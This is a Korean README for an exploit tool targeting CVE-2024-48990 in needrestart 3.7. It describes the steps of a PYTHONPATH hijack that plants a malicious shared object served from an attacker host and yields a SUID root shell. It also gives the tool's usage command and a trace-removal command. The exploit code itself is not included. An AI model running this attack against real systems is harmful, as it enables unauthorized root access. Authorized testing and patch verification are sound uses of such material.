CVE-2024-48990 PYTHONPATH 하이잭 - 권한 상승 익스플로잇

이 도구는 CVE-2024-48990으로 식별된 needrestart 3.7 버전의 권한 상승 취약점 악용을 자동화합니다.
needrestart가 Python 프로세스를 스캔할 때 PYTHONPATH 환경 변수의 안전하지 않은 사용을 이용하여 루트 실행을 달성합니다.

요약

익스플로잇은 다음 방식으로 작동합니다:

1. 임포트 시 트리거되는 악성 공유 오브젝트(__init__.so)를 컴파일합니다.
2. 로컬 HTTP 서버를 통해 .so를 제공합니다.
3. SSH로 대상에 연결하고 악성 PYTHONPATH 환경을 준비합니다.
4. 지속적으로 importlib을 임포트하는 Python 미끼 프로세스를 실행합니다.
5. 조작된 PYTHONPATH를 상속받은 needrestart를 실행하면 악성 모듈을 로드하고 페이로드를 루트로 실행합니다.
6. 페이로드는 SUID 바이너리(/tmp/poc)를 생성하여 루트 셸 접근을 허용합니다.

사용법

공격자 머신에서 익스플로잇을 실행합니다:

python3 exploit.py --user <ssh_user> --host <target_ip> --att-ip <attacker_ip> --ssh-pass <ssh_password>

매개변수:

• --user 대상의 SSH 사용자 이름
• --host 대상 IP 주소
• --att-ip 공격자 IP (페이로드 호스팅에 사용)
• --ssh-pass SSH 비밀번호 (SSH 키 사용 시 생략)
• --http-port 선택적 HTTP 포트 (기본값: 8000)

CVE

• CVE ID: CVE-2024-48990
• 영향받는 소프트웨어: needrestart 버전 3.7
• 취약점 유형: 안전하지 않은 환경 변수 처리
• 영향: 로컬 권한 상승에서 루트까지

정리

대상에서 익스플로잇 흔적을 제거하려면:

rm -rf /tmp/malicious /tmp/poc /tmp/exploit.sh

요구 사항

공격자 머신:

• Python 3
• pexpect (pip3 install pexpect)
• gcc (페이로드 컴파일용)
• 대상에 대한 Open SSH 접근
• python3 -m http.server (스크립트가 자동으로 시작)

대상 머신:

• 취약한 버전의 needrestart (v3.7)
• /usr/sbin/needrestart에 대해 sudo NOPASSWD 권한이 있는 루트가 아닌 사용자
• Python 3 및 curl 설치

면책 조항

이 도구는 교육 및 권한이 부여된 보안 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적 허가 없이 시스템에 사용하지 마십시오.